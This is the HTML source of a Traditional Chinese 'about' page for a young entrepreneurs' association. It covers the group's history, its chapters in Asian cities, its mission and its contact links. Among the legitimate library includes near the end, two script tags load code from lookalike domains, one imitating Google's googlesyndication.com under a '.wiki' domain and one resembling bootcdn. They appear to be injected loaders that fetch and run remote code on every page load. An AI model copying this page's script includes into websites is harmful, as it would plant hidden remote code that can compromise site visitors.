205 lines
11 KiB
HTML
205 lines
11 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
|
|
<head>
|
|
<!-- basic meta tags
|
|
=========================================== -->
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
|
|
|
<!-- style files
|
|
=========================================== -->
|
|
<link rel="icon" href="../favicon.ico">
|
|
<!-- fonta -->
|
|
<link rel="preconnect" href="https://fonts.gstatic.com">
|
|
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
|
<!-- Bootstrap CSS -->
|
|
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
|
<!-- animated.css -->
|
|
<link rel="stylesheet" href="../style/animate.min.css" />
|
|
<!-- css -->
|
|
<link rel="stylesheet" href="../style/style.css">
|
|
<link rel="stylesheet" href="../style/about.css">
|
|
|
|
<!-- page title
|
|
=========================================== -->
|
|
<title>YEN</title>
|
|
</head>
|
|
|
|
<body>
|
|
<!-- navbar
|
|
=========================================== -->
|
|
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
|
<div class="container">
|
|
<!-- left -->
|
|
<div class="header-container">
|
|
<a href="index.html">
|
|
<img class="site-logo" src="../images/logo.png" />
|
|
<label>YEN</label>
|
|
</a>
|
|
<h2>YEN介紹</h2>
|
|
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
|
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
|
aria-label="Toggle navigation">
|
|
<span class="nav__icon"></span>
|
|
</button>
|
|
</div>
|
|
<!-- right -->
|
|
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
|
<ul class="navbar-nav">
|
|
<li class="nav-item">
|
|
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
|
|
</li>
|
|
<li class="nav-item">
|
|
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
|
|
</li>
|
|
<li class="nav-item">
|
|
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
|
|
</li>
|
|
<li class="nav-item">
|
|
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
|
|
</li>
|
|
</ul>
|
|
<div id="language" class="select-language">
|
|
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
|
|
</div>
|
|
</div><!-- /nav links -->
|
|
</div><!-- /container -->
|
|
</nav><!-- /navbar -->
|
|
|
|
<main>
|
|
<section id="block-about-1" class="page-block block-about-1">
|
|
<div class="slideshow">
|
|
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1a.jpg')"></div>
|
|
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1b.jpg')"></div>
|
|
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1c.jpg')"></div>
|
|
</div>
|
|
<div class="main-about main-about-mask-1">
|
|
<div class="container">
|
|
<div class="content-1">
|
|
<h2 class="animate__animated animate__fadeInLeft">協會介紹</h2>
|
|
<p class="animate__animated animate__fadeInUp">YEN協會雛形草創於2008年，正式成立於2012年。是一群25-45歲青年創業家/企業接班人為主體的協會，全稱：雁博青年創業家協會（Young Entrepreneurs Network）簡稱：Y.E.N.</p>
|
|
<p class="animate__animated animate__fadeInUp">YEN匯集了一群有共同使命感的企業家，支持讓有想法的青年企業家，學會如何創業、守業甚至為公司轉型。建立一個安全的分享環境，能夠幫助並打破孤軍奮戰的困境。希望讓會員更好的享受集體資源，提供資訊交流平台，為會員創造更多合作機會。</p>
|
|
<p class="animate__animated animate__fadeInUp">YEN的中文-雁，也代表著雁群效應 -雁群以V字集體飛翔，借助領頭大雁產生的空氣動力，使整體飛行更省力，並在過程中彼此輪換，一同前進。</p>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</section>
|
|
|
|
<section id="block-about-2" class="page-block block-about-2">
|
|
<div class="slideshow">
|
|
<div class="slideshow-5-image" style="background-image: url('../images/city-1.jpg')"></div>
|
|
<div class="slideshow-5-image" style="background-image: url('../images/city-2.jpg')"></div>
|
|
<div class="slideshow-5-image" style="background-image: url('../images/city-3.jpg')"></div>
|
|
<div class="slideshow-5-image" style="background-image: url('../images/city-4.jpg')"></div>
|
|
<div class="slideshow-5-image" style="background-image: url('../images/city-5.jpg')"></div>
|
|
</div>
|
|
<div class="main-about main-about-mask-2">
|
|
<div class="container">
|
|
<div class="nav-img"><img id="nav-2" src="../images/fh-tc.png" /></div>
|
|
<div class="city-items">
|
|
<div id="content-2">
|
|
<h5>我們目前共有11個分會：</h5>
|
|
<span>北京</span>
|
|
<span>台灣</span>
|
|
<span>上海</span>
|
|
<span>香港</span>
|
|
<span>南京</span>
|
|
<span>新加坡</span>
|
|
<span>深圳</span>
|
|
<span>馬來西亞</span>
|
|
<span>廣州</span>
|
|
<span>越南</span>
|
|
<span>重慶</span>
|
|
</div>
|
|
</div>
|
|
<img class="map" src="../images/map.png" />
|
|
</div>
|
|
</div>
|
|
</section>
|
|
|
|
<section id="block-about-3" class="page-block block-about-3">
|
|
<div class="slideshow">
|
|
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2a.jpg')"></div>
|
|
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2b.jpg')"></div>
|
|
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2c.jpg')"></div>
|
|
</div>
|
|
<div class="main-about main-about-mask-3">
|
|
<div class="container">
|
|
<div class="nav-img"><img id="nav-3" src="../images/sm.png" /></div>
|
|
<div class="sm">
|
|
<div id="content-3">
|
|
<h3>我們的使命</h3>
|
|
<p>打造一個正循環生態，讓一群企業家透過資訊交流，持續學習，相互支持，讓彼此成為更好的領導者；進而改變自己與世界的命運。</p>
|
|
<h3>我們的承諾</h3>
|
|
<p>1. 協助企業會員成長</p>
|
|
<p>2. 確保會員能在雁博會找到歸屬感</p>
|
|
<p>3. 支持企業家進行內部深度分享</p>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</section>
|
|
|
|
<section class="contact-wrapper">
|
|
<div class="container">
|
|
<div class="main-content">
|
|
<label>聯繫YEN</label>
|
|
<p>
|
|
<span>
|
|
<img src="../images/icon-mail.png" />
|
|
<a href="https://yen.network/cdn-cgi/l/email-protection#bec7dbd090dfdad3d7d08ffed7ddd2d1cbda90ddd1d3"><span class="__cf_email__" data-cfemail="4d342823632c292024237c0d242e21223829632e2220">[email protected]</span></a>
|
|
</span>
|
|
<span>
|
|
<img src="../images/icon-fb.png" />
|
|
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
|
|
</span>
|
|
<span>
|
|
<img src="../images/icon-wechat.png" />
|
|
<a href="javascript:;">公众号: 雁博会YEN</a>
|
|
</span>
|
|
</p>
|
|
</div>
|
|
</div>
|
|
</section>
|
|
</main>
|
|
<div class="copyright">© 2022 雁博青年創業家協會.</div>
|
|
|
|
|
|
|
|
|
|
<!-- bootsrap js and jquery
|
|
=========================================== -->
|
|
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
|
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
|
<script>
|
|
new WOW().init();
|
|
</script>
|
|
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
|
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
|
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
|
<script src="../js/jquery.cookie.min.js"></script>
|
|
<script src="../js/common.js"></script>
|
|
<script>
|
|
const oContainer1 = document.getElementById('block-about-1');
|
|
const oContainer2 = document.getElementById('block-about-2');
|
|
const oContainer3 = document.getElementById('block-about-3');
|
|
const oNav2 = document.getElementById('nav-2');
|
|
const oNav3 = document.getElementById('nav-3');
|
|
const oContent2 = document.getElementById('content-2');
|
|
const oContent3 = document.getElementById('content-3');
|
|
|
|
window.onscroll = function(e) {
|
|
if(scrollY > oContainer1.offsetTop + oContainer1.offsetHeight / 3) {
|
|
oNav2.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
|
oContent2.setAttribute('class', 'animate__animated animate__fadeInUp')
|
|
}
|
|
if(scrollY > oContainer1.offsetTop + oContainer2.offsetHeight + oContainer3.offsetHeight / 3) {
|
|
oNav3.setAttribute('class', 'animate__animated animate__fadeInLeft')
|
|
oContent3.setAttribute('class', 'animate__animated animate__fadeInRight')
|
|
}
|
|
}
|
|
</script>
|
|
</body>
|
|
|
|
</html> |